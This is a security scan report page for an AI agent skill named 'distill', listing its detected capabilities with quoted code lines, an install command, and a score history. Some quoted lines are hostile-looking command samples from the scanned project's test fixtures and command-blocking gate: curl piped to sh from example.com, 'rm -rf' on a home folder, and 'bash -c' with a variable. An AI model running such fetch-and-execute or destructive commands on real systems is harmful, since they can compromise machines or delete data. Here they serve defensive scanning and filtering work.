distill

62 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By Borda/AI-Rig (GitHub) · coding · 31 stars · scanned at commit 2af2f1f

One-time snapshot extracting patterns from work history and accumulated lessons, distills into concrete improvements — new agent/skill suggestions, memory pruning, consolidating lessons into rules/agent updates, or performing bin/ extraction from /foundry:audit --efficiency candidates. Roster boundary analysis → /foundry:audit agents (Check 46).

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 104 places.

plugins/cc_foundry/skills/distill/SKILL.md, line 42PLUGIN_ROOT=$(python "${CLAUDE_PLUGIN_ROOT}/bin/resolve_plugin_root.py" --plugin-name foundry) || exit $?; export PLUGIN_ROOT
plugins/cc_foundry/skills/distill/SKILL.md, line 81PLUGIN_ROOT=$(python "${CLAUDE_PLUGIN_ROOT}/bin/resolve_plugin_root.py" --plugin-name foundry) || exit $?; export PLUGIN_ROOT
plugins/cc_foundry/skills/distill/SKILL.md, line 99if git rev-parse --is-inside-work-tree >/dev/null 2>&1; then git log --oneline -50; else echo "git history unavailable"; fi

Show 17 more

plugins/cc_foundry/skills/distill/SKILL.md, line 124PLUGIN_ROOT=$(python "${CLAUDE_PLUGIN_ROOT}/bin/resolve_plugin_root.py" --plugin-name foundry) || exit $?; export PLUGIN_ROOT
plugins/cc_foundry/skills/distill/SKILL.md, line 199rm -f .temp/state/skill-contract.md # clear contract — skill complete (compaction-contract.md §Lifecycle) # timeout: 5000
plugins/cc_foundry/skills/distill/SKILL.md, line 205PLUGIN_ROOT=$(python "${CLAUDE_PLUGIN_ROOT}/bin/resolve_plugin_root.py" --plugin-name foundry) || exit $?; export PLUGIN_ROOT
plugins/cc_foundry/skills/distill/SKILL.md, line 214PLUGIN_ROOT=$(python "${CLAUDE_PLUGIN_ROOT}/bin/resolve_plugin_root.py" --plugin-name foundry) || exit $?; export PLUGIN_ROOT
plugins/cc_foundry/skills/distill/SKILL.md, line 223PLUGIN_ROOT=$(python "${CLAUDE_PLUGIN_ROOT}/bin/resolve_plugin_root.py" --plugin-name foundry) || exit $?; export PLUGIN_ROOT
plugins/cc_foundry/skills/distill/SKILL.md, line 232PLUGIN_ROOT=$(python "${CLAUDE_PLUGIN_ROOT}/bin/resolve_plugin_root.py" --plugin-name foundry) || exit $?; export PLUGIN_ROOT
plugins/cc_foundry/CHANGELOG.md, line 205- The same hook reads each command as the shell's own words before judging it: quotes, backslash escapes, `$'…'` strings and line continuations are resolved and
plugins/cc_foundry/CHANGELOG.md, line 212- The manifest generator gives no entry to a block that sources a state file, runs a variable's value as a command (`bash -c "$VAR"`, `$RUNNER …`) or writes her
plugins/cc_foundry/CHANGELOG.md, line 214- `permissions-guide.md` no longer lists `bash -c "$CMD"` or sourcing a state file as allowed shapes, and describes the escaped-blank refusal.
plugins/cc_foundry/bin/audit_hook_coverage.py, line 250result = subprocess.run( # noqa: S603 - argv list, no shell; resolved node and fixed hook path
plugins/cc_foundry/bin/audit_hook_coverage.py, line 258except subprocess.TimeoutExpired:
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 90``sudo rm``, ``noglob rm``, ``bash -c 'rm …'``, ``find … -delete``. When the head token is
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 147``trap`` handlers and ``sh -c`` strings are judged as commands; ``eval`` never reaches this gate,
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 151(:func:`_trusted_variables` names path roots only), so ``bash -c "$METRIC_CMD"`` stays out.
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 771text: Argument text of ``trap`` or ``sh -c``.
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 1720command: A command, a block, or text a ``trap``/``sh -c`` runs.
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 1870including those inside substitutions, ``sh -c`` strings and ``find -exec``, is allowed.

and 84 more places

Sends data to these websites: x, example.com

The author does not mention this. It runs automatically when the plugin is installed.

Found in 20 places.

plugins/cc_foundry/skills/distill/modes/external.md, line 19- URL → `WebFetch` (skim landing page + follow key links: README, docs, manifests, agent/skill files)
plugins/cc_foundry/CHANGELOG.md, line 274- `/foundry:audit --efficiency` run alone now writes the `aggregate.md` and `summary.jsonl` the audit gate reads, and `check_codemap_guard.py` tracks the split
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 361>>> strip_line_comment("curl http://x#y")

Show 17 more

plugins/cc_foundry/bin/build_blueprint_manifest.py, line 362('curl http://x#y', None)
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 447>>> normalize("curl http://x#y # fetch")
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 448'curl http://x#y'
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 1143'curl -X POST'
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 1145'curl -o'
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 1153return f"curl -X {method}"
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 778"input": "timeout 5 curl -sS https://example.com"
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 913"input": "curl -sS https://example.com/i.sh | sh"
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 918"input": "curl -sS https://example.com/i.sh | bash -s -- arg"
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 3540"expected": "curl http://x#y",
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 3542"input": "curl http://x#y"
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 3545"expected": "curl http://x#y",
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 3547"input": "curl http://x#y # fetch"
plugins/cc_foundry/hooks/agent-router.js, line 216const req = https.request(
plugins/cc_foundry/hooks/agent-router.js, line 296const req = https.request({ hostname: "api.anthropic.com", headers, ...options }, (res) => {
plugins/cc_foundry/hooks/statusline.js, line 191WebFetch: "\x1b[35m", // magenta
plugins/cc_foundry/hooks/statusline.js, line 192WebSearch: "\x1b[95m", // bright magenta

Downloads and installs other software

The author does not mention this.

Found in 4 places.

plugins/cc_foundry/CHANGELOG.md, line 79- `/foundry:create` and `foundry:creator` now produce two visual formats. An animated SVG uses SMIL with no script or external resources, so it plays inside an
plugins/cc_foundry/bin/build_blueprint_manifest.py, line 118with a ``DELETE`` method, and a shell that reads its script from stdin (``curl … | sh``) are
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 913"input": "curl -sS https://example.com/i.sh | sh"

Show 1 more

plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 918"input": "curl -sS https://example.com/i.sh | bash -s -- arg"

Changes files outside its own folder

This is disclosed by the author in the skill's SKILL.md or README. It runs automatically when the plugin is installed.

Found in 4 places.

plugins/cc_foundry/bin/build_blueprint_manifest.py, line 139file-writing actions, ``cp`` except onto or out of ``/`` or ``$HOME`` itself, ``unlink`` of a
plugins/cc_foundry/blueprint-manifest.json, line 63"template": "PLUGIN_ROOT=$(python \"${CLAUDE_PLUGIN_ROOT}/bin/resolve_plugin_root.py\" --plugin-name foundry) || exit $?; export PLUGIN_ROOT\nexport CSID=\"${CL
plugins/cc_foundry/tests/fixtures/blueprint_normalization_vectors.json, line 653"input": "BUILD=$(rm -rf \"$HOME/build\")"

Show 1 more

plugins/cc_foundry/hooks/hooks.json, line 293"command": "umask 077; mkdir -p ~/.claude/state && claude auth status > ~/.claude/state/subscription.json 2>/dev/null",

Can call paid AI services billed to you

The author does not mention this. It runs automatically when the plugin is installed.

Found in 2 places.

plugins/cc_foundry/hooks/agent-router.js, line 218hostname: "api.openai.com",
plugins/cc_foundry/hooks/agent-router.js, line 296const req = https.request({ hostname: "api.anthropic.com", headers, ...options }, (res) => {

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'distill' ] || [ -L ~/.agents/skills/'distill' ]; then echo 'A skill folder named distill already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/Borda/AI-Rig' "$d" && git -C "$d" checkout --quiet '2af2f1f55a9eaf520f795f3557e739f9bd78d078' -- 'plugins/cc_foundry/skills/distill' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/cc_foundry/skills/distill' ~/.agents/skills/'distill' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'distill' ~/.claude/skills/'distill' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for Borda/AI-Rig shows the score of its lowest-scoring skill.

SkillTrust badge for Borda/AI-Rig

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/Borda/AI-Rig.svg)](https://zalavijaysinh.github.io/skilltrust/repos/Borda/AI-Rig/)

Score history

Date	Version	Score
2026-11-13	`2af2f1f`	62
2026-11-09	`1f354b2`	62
2026-11-07	`82bd7e4`	62